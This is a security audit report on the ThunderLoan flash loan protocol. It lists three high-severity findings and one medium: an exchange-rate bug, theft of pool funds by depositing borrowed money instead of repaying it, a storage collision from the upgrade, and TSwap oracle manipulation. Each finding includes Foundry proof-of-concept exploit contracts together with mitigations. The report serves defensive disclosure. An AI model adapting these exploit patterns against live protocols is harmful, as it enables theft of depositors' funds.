Thunder Loan Protocol Audit Report

Smart Contract Security Review

SaltyLighter

3 March 2026

Contents

1 Protocol Summary **1**

2 Disclaimer **2**

3 Risk Classification **2**

4 Audit Details **2**
4.1 Scope 2
4.2 Roles 3

5 Executive Summary **3**
5.1 Overview 3
5.2 Issues Found 3
5.3 General Assessment 3

6 Findings **4**

7 Appendix **11**
7.1 Methodology 11
7.2 Tools Used 12

Prepared by: SaltyLighter
Lead Auditor: Antony Cheng

1 Protocol Summary

ThunderLoan is a flash loan protocol designed to serve two primary user groups: borrowers seeking access to one-transaction liquidity, and liquidity providers seeking yield on deposited capital.

Liquidity providers can deposit supported assets into the protocol and receive `AssetTokens` in return. These `AssetTokens` represent the provider's share of the pool and are intended to accrue value over time as the protocol earns fees from flash loan activity.

The protocol enables users to take out flash loans, which are uncollateralized loans that must be borrowed and repaid within the same transaction. If the borrower fails to repay the borrowed amount plus any required fee before the transaction completes, the entire transaction reverts.

Flash loan fees are determined using the TSwap on-chain price oracle. As borrowers pay fees to the protocol, these fees contribute to the value of liquidity provider positions, creating the intended yield mechanism for deposited capital.

In addition to the current `ThunderLoan` implementation, the planned upgrade to `ThunderLoanUpgraded` is also considered within scope. As a result, the security review should assess both the existing system behavior and any risks introduced by the upgrade path, upgraded logic, storage compatibility, and changes in trust or execution assumptions.

2 Disclaimer

The SaltyLighter team makes every effort to identify as many vulnerabilities as possible within the agreed review period. However, the findings presented in this report should not be considered exhaustive, and no responsibility is assumed for issues not identified during the audit.

A security audit is not an endorsement of the underlying business, team, or product. This review was time-boxed and focused solely on the security aspects of the Solidity implementation of the scoped contracts. Changes made after the reviewed commit may invalidate parts of this report.

3 Risk Classification

		Impact		
		High	Medium	Low
	High	H	H/M	M
Likelihood	Medium	H/M	M	M/L
	Low	M	M/L	L

We use the CodeHawks severity matrix as a practical guide when assessing severity.

4 Audit Details

4.1 Scope

- Commit Hash: 8803f851f6b37e99eab2e94b4690c8b70e26b3f6
- In Scope:

```
#-- interfaces
|   #-- IFlashLoanReceiver.sol
|   #-- IPoolFactory.sol
|   #-- ITSwapPool.sol
|   #-- IThunderLoan.sol
#-- protocol
|   #-- AssetToken.sol
|   #-- OracleUpgradeable.sol
|   #-- ThunderLoan.sol
#-- upgradedProtocol
    #-- ThunderLoanUpgraded.sol
```

- Solc Version: 0.8.20
- Chain(s) to deploy contract to: Ethereum
- ERC20s:
  - USDC
  - DAI

  - LINK
  - WETH

4.2 Roles

- Owner: The owner of the protocol who has the power to upgrade the implementation.
- Liquidity Provider: A user who deposits assets into the protocol to earn interest.
- User: A user who takes out flash loans from the protocol.

5 Executive Summary

5.1 Overview

This assessment reviewed the scoped contracts for common and protocol-specific smart contract risks, including access control weaknesses, unsafe external calls, accounting inconsistencies, price manipulation vectors, denial of service conditions, and state-transition issues.

5.2 Issues Found

Severity	Count
High	3
Medium	1
Low	0
Informational	0
Gas	0

5.3 General Assessment

The ThunderLoan protocol was reviewed with a focus on flash loan execution flow, liquidity provider accounting, fee calculation mechanisms, oracle dependencies, and upgradeability design.

The review identified multiple critical vulnerabilities affecting the core integrity of the protocol.

Most notably, the protocol fails to properly separate flash loan repayment from liquidity provision, allowing an attacker to convert borrowed funds into redeemable shares and drain protocol liquidity. Additionally, incorrect accounting within the deposit logic leads to inflated exchange rates, which can block redemptions and misrepresent protocol solvency.

The upgrade mechanism introduces severe storage layout inconsistencies, which can corrupt critical state variables and potentially freeze protocol functionality after an upgrade.

Furthermore, reliance on a manipulable on-chain AMM (TSwap) as a price oracle exposes the protocol to fee manipulation attacks, allowing users to significantly reduce borrowing costs within a single transaction.

Overall, the protocol in its current state is **not safe for production use**, as multiple High severity issues enable loss of funds, denial of service, and incorrect accounting of user balances.

Significant redesign is required in the following areas:

- Strict separation of flash loan repayment vs deposits
- Correct accounting of exchange rate updates
- Safe upgradeability with consistent storage layout
- Use of manipulation-resistant oracle mechanisms

Until these issues are addressed, the protocol remains vulnerable to exploitation and loss of user funds.

6 Findings

6.0.1 [H -1] Erroneous `ThunderLoan::updateExchangeRate` in the `deposit` function causes protocol to think it has more fees than it really does, which blocks redemption and incorrectly sets the exchange rate

Description In the ThunderLoan system, the `exchangeRate` is responsible for calculating the exchange rate between assetTokens and underlying tokens. In a way, it's resposnible for keeping track of how many fees to give to liquidtiy providers.

However, the`deposit` function updates this rate, without collecting any fees.

```
    function deposit(IERC20 token, uint256 amount) external revertIfZero(amount) revertIfNotAllowedToken(token) {
        AssetToken assetToken = s_tokenToAssetToken[token]; // e represents the shares of the pool
        uint256 exchangeRate = assetToken.getExchangeRate();
        uint256 mintAmount = (amount * assetToken.EXCHANGE_RATE_PRECISION()) / exchangeRate;
        emit Deposit(msg.sender, token, amount);
        assetToken.mint(msg.sender, mintAmount);

        // @audit -high
@>      uint256 calculatedFee = getCalculatedFee(token, amount);
@>      assetToken.updateExchangeRate(calculatedFee);

        token.safeTransferFrom(msg.sender, address(assetToken), amount);
    }
```

Impact There are several impacts to this bug.

1. The `redeem` function is blocked, because the protocol thinks the owed tokens is more than it has
2. Rewards are incorrectly calculated, leading to liquidity providers potentially getting way more or less than deserved.

Proof of Concepts

1. LP deposits
2. User takes out a flash loan
3. It is now impossible for LP to redeem

Proof of Code

Place the following into `ThunderLoanTest.t.sol`

```
    function testRedeemAfterLoan() public setAllowedToken hasDeposits {
        uint256 amountToBorrow = AMOUNT * 10;
        uint256 calculatedFee = thunderLoan.getCalculatedFee(tokenA,
            amountToBorrow);
        vm.startPrank(user);
        tokenA.mint(address(mockFlashLoanReceiver), calculatedFee);
        thunderLoan.flashloan(address(mockFlashLoanReceiver), tokenA,
            amountToBorrow, "");
        vm.stopPrank();

        uint256 amountToRedeem = type(uint256).max;
        vm.startPrank(liquidityProvider);
        thunderLoan.redeem(tokenA, amountToRedeem);
        vm.stopPrank();
    }
```

Recommended mitigation Removed the incorrectly updated exchange rate lines from `deposit`.

```
    function deposit(IERC20 token, uint256 amount) external revertIfZero
        (amount) revertIfNotAllowedToken(token) {
        AssetToken assetToken = s_tokenToAssetToken[token]; // e
            represents the shares of the pool
        uint256 exchangeRate = assetToken.getExchangeRate();
        uint256 mintAmount = (amount * assetToken.
            EXCHANGE_RATE_PRECISION()) / exchangeRate;
        emit Deposit(msg.sender, token, amount);
        assetToken.mint(msg.sender, mintAmount);

-       uint256 calculatedFee = getCalculatedFee(token, amount);
-       assetToken.updateExchangeRate(calculatedFee);

        token.safeTransferFrom(msg.sender, address(assetToken), amount);
    }
```

6.0.2 [H-2] Flash loan repayment can be bypassed by depositing borrowed funds, allowing theft of pool assets

Description The protocol allows a flash loan borrower to call `deposit()` during the flash loan callback instead of performing a true repayment. Because `deposit()` transfers the borrowed tokens back into the pool and mints `AssetToken` shares to the borrower, the flash loan can appear successfully repaid while simultaneously granting the borrower a redeemable claim over pool funds.

In the vulnerable flow, the attacker borrows funds via `flashloan()`, then within `executeOperation()` approves ThunderLoan and calls `deposit(amount + fee)`. Since the pool balance is restored,

the flash loan repayment check passes. However, because the protocol treats the transfer as a deposit rather than debt repayment, the attacker receives `AssetToken` shares representing ownership of those funds.

After the flash loan completes, the attacker can redeem the newly minted shares through `redeem()` and withdraw underlying assets from the pool. This effectively allows the attacker to convert flash-loaned funds into a withdrawable liquidity position using only the fee amount as additional capital.

The root cause is that the protocol does not strictly distinguish between flash loan repayment and liquidity deposits. As a result, borrowed funds can be reused to mint accounting shares, creating an invalid claim on pool assets.

Impact

A malicious flash loan receiver can steal funds from the pool by using borrowed funds to call `deposit()` instead of repaying the flash loan normally. This allows the attacker to receive `AssetToken` shares backed largely by the pool's own temporarily borrowed assets, then redeem those shares after the flash loan finishes.

As a result, an attacker can extract value from the protocol and drain liquidity provider funds. This issue directly leads to loss of user funds and should be considered High severity.

Proof of Concepts

Proof of Code

Place the following into `ThunderLoanTest.t.sol`

```
    function testUseDepositInsteadofRepayToStealFunds() public setAllowedToken hasDeposits {
        vm.startPrank(user);
        uint256 amountToBorrow = 50e18;
        uint256 fee = thunderLoan.getCalculatedFee(tokenA, amountToBorrow);
        DepositOverRepay dor = new DepositOverRepay(address(thunderLoan));
        tokenA.mint(address(dor), fee);
        thunderLoan.flashloan(address(dor), tokenA, amountToBorrow, "");
        dor.redeemMoney();
        vm.stopPrank();

        assert(tokenA.balanceOf(address(dor)) > 50e18 + fee);
    }
}

contract DepositOverRepay is IFlashLoanReceiver {
    ThunderLoan thunderLoan;
    AssetToken assetToken;
    IERC20 s_token;

    constructor(address _thunderLoan) {
        thunderLoan = ThunderLoan(_thunderLoan);
    }

    function executeOperation(
        address token,
```

```
        uint256 amount,
        uint256 fee,
        address,
        /*initiator*/
        bytes calldata /*params*/
    )
        external
        returns (bool)
    {
        s_token = IERC20(token);
        assetToken = thunderLoan.getAssetFromToken(IERC20(token));
        IERC20(token).approve(address(thunderLoan), amount + fee);
        thunderLoan.deposit(IERC20(token), amount + fee);
        return true;
    }

    function redeemMoney() public {
        uint256 amount = assetToken.balanceOf(address(this));
        thunderLoan.redeem(s_token, amount);
    }
}
```

Recommended mitigation The protocol should enforce a strict separation between flash loan repayment and liquidity provision. Repayment of a flash loan should not be achievable through deposit().

Consider one or more of the following mitigations:

Introduce explicit flash loan repayment accounting and validate that borrowed principal plus fee is returned as repayment, not as a deposit. Prevent deposit() from being called during an active flash loan callback. Track outstanding flash loan debt and ensure that any returned funds first satisfy the debt before any deposit shares are minted. Ensure AssetToken shares are not minted for funds used to repay a flash loan.

6.0.3 [H-3] Mixing up variable location causes storage collisions in `ThunderLoan::s_flashLoanFee` and `ThunderLoan::s_currentlyFlashLoaning`, freezing protocol.

Description `ThunderLoan.sol` has two variables in the following order:

```
    uint256 private s_feePrecision;
    uint256 private s_flashLoanFee; // 0.3% ETH fee
```

However, the upgraded contract `ThunderLoanUpgraded.sol` has them in a different order:

```
    uint256 private s_flashLoanFee; // 0.3% ETH fee
    uint256 private constant FEE_PRECISION = 1e18;
```

Due to how Solidity works after the upgrade the `s_flashLoanFee` will have the value of `s_feePrecision`. You cannot adjust the position of storage variables, and removing storage variables for constant variables, breaks the storage locations as well.

Impact After the upgrade, the `s_flashloanFee` will have the value of `s_feePrecision`. This means that users who take out flash loans right after an upgrade will be charged a wrong fee.

More importantly, the `s_currentlyFlashLoaning` mapping with storage in the wrong storage slot.

Proof of Concepts

Proof of Code

Place the following into `ThunderLoanTest.t.sol`

```
import { ThunderLoanUpgraded } from "../../src/upgradedProtocol/
    ThunderLoanUpgraded.sol";
.
.
.
    function testUpgradeBreaks() public {
        uint256 feeBeforeUpgrade = thunderLoan.getFee();
        vm.startPrank(thunderLoan.owner());
        ThunderLoanUpgraded upgraded = new ThunderLoanUpgraded();
        thunderLoan.upgradeToAndCall(address(upgraded), "");
        uint256 feeAfterUpgrade = thunderLoan.getFee();
        vm.stopPrank();

        console2.log("Fee before ", feeBeforeUpgrade);
        console2.log("Fee after ", feeAfterUpgrade);

        assert(feeBeforeUpgrade != feeAfterUpgrade);
    }
```

You can also see the storage layout different by running `forge inspect ThunderLoan storage` and `forge inspect ThunderLoanUpgraded storage`

Recommended mitigation If you must remove the storage variable, leave it as blank as to not mess up the storage layout.

```
-   uint256 private s_flashLoanFee; // 0.3% ETH fee
-   uint256 private s_feePrecision;
+   uint256 private s_blank;
+   uint256 private s_flashLoanFee; // 0.3% ETH fee
+   uint256 private constant FEE_PRECISION = 1e18;
```

6.0.4 [M-1] Using TSwap as price oracle leads to price and oracle manipulation attacks

Description The TSwap protocol is a constant product formula based AMM (automated market maker). The price of a token is determined by how many reserves are on either side of the pool. Because of this, it is easy for malciious users to manipulate the price of a token by buying or selling a large amount of the token in the same transaction, essentially ignoring protocol fees.

Impact Liquidity providers will drastically reduced fees for providing liquidity.

Proof of Concepts

Proof of Code

The ThunderLoan protocol relies on an external price source (TSwap pool) to determine flash loan fees. This creates an opportunity for an attacker to manipulate the price within the same transaction and reduce the calculated fee.

The following steps demonstrate how an attacker can exploit this design:

1. Deploy and initialize the ThunderLoan protocol with a `BuffMockPoolFactory`, and create a `TokenA`/`WETH` pool on TSwap with equal liquidity (100:100), establishing a 1:1 price.
2. Deposit `1000e18 TokenA` into ThunderLoan to ensure sufficient liquidity for flash loans.
3. Record the baseline fee for borrowing `100e18 TokenA` using `getCalculatedFee()`. This represents the expected fee under normal market conditions.
4. Deploy a malicious flash loan receiver contract and fund it with enough `TokenA` to repay borrowed amounts and associated fees.
5. Initiate a flash loan of `50e18 TokenA`. During the `executeOperation` callback:
   - Swap the borrowed `TokenA` into the TSwap pool, significantly altering the price ratio.
   - This artificially depresses the value of `TokenA` relative to WETH.
6. While the manipulated price is still in effect, request a second flash loan of `50e18 TokenA` within the same transaction.
7. Because ThunderLoan reads the manipulated price from TSwap, the fee for the second loan is calculated using the distorted (lower) price.
8. Repay both flash loans and record the fees (`feeOne + feeTwo`).
9. Compare the total attack fee with the normal fee for borrowing `100e18`:
   - **Normal fee:** 296147410319118389
   - **Attack fee:** 214167600932190305

This demonstrates that the attacker pays significantly less in total fees by manipulating the oracle between two flash loans in the same transaction.

Place the following into `ThunderLoanTest.t.sol`

```
    function testOracleManipulation() public{
        // 1. Setup contracts!
        thunderLoan = new ThunderLoan();
        tokenA = new ERC20Mock();
        proxy = new ERC1967Proxy(address(thunderLoan), "");
        BuffMockPoolFactory pf = new BuffMockPoolFactory(address(weth));
        // Create a TSawp Dex between WETH / TokenA
        address tswapPool = pf.createPool(address(tokenA));
        thunderLoan = ThunderLoan(address(proxy));
        thunderLoan.initialize(address(pf));

        // 2. Fund TSwap
        vm.startPrank(liquidityProvider);
        tokenA.mint(liquidityProvider, 100e18);
        tokenA.approve(tswapPool, 100e18);
        weth.mint(liquidityProvider, 100e18);
        weth.approve(tswapPool, 100e18);
        BuffMockTSwap(tswapPool).deposit(100e18, 100e18, 100e18, block.
            timestamp);
        vm.stopPrank();
```

```
        // Ratio 100 WETH & 100 TokenA
        // Price 1:1 WETH:TokenA

        // 3. Fund ThunderLoan
        vm.prank(thunderLoan.owner());
        thunderLoan.setAllowedToken(tokenA, true);
        // Fund
        vm.startPrank(liquidityProvider);
        tokenA.mint(liquidityProvider, 1000e18);
        tokenA.approve(address(thunderLoan), 1000e18);
        thunderLoan.deposit(tokenA, 1000e18);
        vm.stopPrank();

        // 100 WETH & 100 TokenA in TSwap
        // 1000 TokenA in ThunderLoan
        // Take out a flash loan of 50 tokenA
        // swap it on the dex, tanking the price >150 TokenA -> ~80 WETH
        // Take out another flash loan of 50 tokenA (and we'll see how much cheaper it is!)


        // 4. We are going to take out 2 flash loan
        //    a. To nuke the price of the Weth/TokenA on TSwap
        //    b. To show that doing so greatly reduces the fees we pay on ThunderLoan
        uint256 normalFeeCost = thunderLoan.getCalculatedFee(tokenA, 100e18);
        console2.log("Normal fee is:", normalFeeCost);
        // fee: 0.296147410319118389

        uint256 amountToBorrow = 50e18;
        MaliciousFlashLoanReceiver flr = new MaliciousFlashLoanReceiver(address(tswapPool), address(thunderLoan), address(thunderLoan.getAssetFromToken(tokenA)));

        vm.startPrank(user);
        tokenA.mint(address(flr), 100e18);
        thunderLoan.flashloan(address(flr), tokenA, amountToBorrow, "");
        vm.stopPrank();

        uint256 attackFee = flr.feeOne() + flr.feeTwo();
        console2.log("Attack fee is:", attackFee);
        assert(attackFee < normalFeeCost);
    }
}

contract MaliciousFlashLoanReceiver is IFlashLoanReceiver {
    ThunderLoan thunderLoan;
    address repayAddress;
    BuffMockTSwap tswapPool;
    bool attacked;
    uint256 public feeOne;
    uint256 public feeTwo;
    constructor(address _tswapPool, address _thunderLoan, address _repayAddress) {
        tswapPool = BuffMockTSwap(_tswapPool);
        thunderLoan = ThunderLoan(_thunderLoan);
        repayAddress = _repayAddress;
```

```
    }
        function executeOperation(
        address token,
        uint256 amount,
        uint256 fee,
        address /*initiator*/,
        bytes calldata /*params*/
    )
        external
        returns (bool)
        {
            if(!attacked){
        // 1. Swap TokenA borrowed from WETH
        // 2. Take out ANOTHER flash loan, to show the difference in fees!
            feeOne = fee;
            attacked = true;
            uint256 wethBought = tswapPool.getOutputAmountBasedOnInput(50e18, 100e18, 100e18);
            IERC20(token).approve(address(tswapPool), 50e18);
            // Tanks the price!
            tswapPool.swapPoolTokenForWethBasedOnInputPoolToken(50e18, wethBought, block.timestamp);
            // we call a second flash loan!!
            thunderLoan.flashloan(address(this), IERC20(token), amount, "");
            // repay
            // IERC20(token).approve(address(thunderLoan), amount + fee);
            // thunderLoan.repay(IERC20(token), amount + fee);
            IERC20(token).transfer(address(repayAddress), amount + fee);
        } else {
            // calculate the fee and repay
            feeTwo = fee;
            // repay
            // IERC20(token).approve(address(thunderLoan), amount + fee);
            // thunderLoan.repay(IERC20(token), amount + fee);
            IERC20(token).transfer(address(repayAddress), amount + fee);
        }
        return true;

        }
        // Results from the attack:
        //  Normal fee is: 296147410319118389
        //  Attack fee is: 214167600932190305
}
```

Recommended mitigation Consider using a different price oracle mechanism, like a Chainlink price feed with a Uniswap TWAP fallback oracle.

7 Appendix

7.1 Methodology

The review methodology included:

- Manual review of the Solidity codebase
- Analysis of access control and trust boundaries
- Review of protocol logic and state transitions
- Consideration of economic and implementation risks
- Testing, fuzzing, or invariant analysis where applicable
- Static analysis using Slither and Aderyn to help identify common vulnerability patterns and code quality concerns
- Tool-assisted review where useful

7.2 Tools Used

- Foundry
- Slither
- Aderyn
- Manual Review